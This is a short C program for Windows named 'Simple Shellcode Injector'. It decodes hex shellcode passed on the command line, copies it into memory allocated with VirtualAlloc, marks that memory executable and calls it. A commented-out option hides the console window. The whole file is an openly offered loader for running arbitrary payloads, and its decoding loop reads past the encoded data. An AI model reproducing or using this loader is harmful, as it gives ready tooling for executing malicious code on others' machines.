#include <winsock2.h>

int main(int argc, char *argv[]) {

//Uncomment to Hide cmd window

//HWND hWnd = GetConsoleWindow();

//ShowWindow( hWnd, SW_HIDE );

unsigned int char_in_hex;

unsigned static char logo [] =

" +-+-+-+ +-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+\n"

" |S|S|I| |(|S|i|m|p|l|e| |S|h|e|l|l|c|o|d|e| |I|n|j|e|c|t|o|r|)|\n"

" +-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+\n"

" |b|y| |g|w|e|e|p|e|r|x| \n"

" +-+-+ +-+-+-+-+-+-+-+-+\n";

unsigned char *shellcode=argv[1];

unsigned int iterations=strlen(shellcode);

unsigned int memory_allocation=sizeof(char)*strlen(shellcode);

printf("%s\n\n", &logo);

for(unsigned int i = 0; i< iterations; i++) {

sscanf(shellcode+2*i, "%2X", &char_in_hex);

shellcode[i] = (char)char_in_hex;

}

void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);

memcpy(exec, shellcode, memory_allocation);

DWORD ignore;

VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);

printf("Ready? Go!");

(*(void (*)()) exec)();

return 0;

}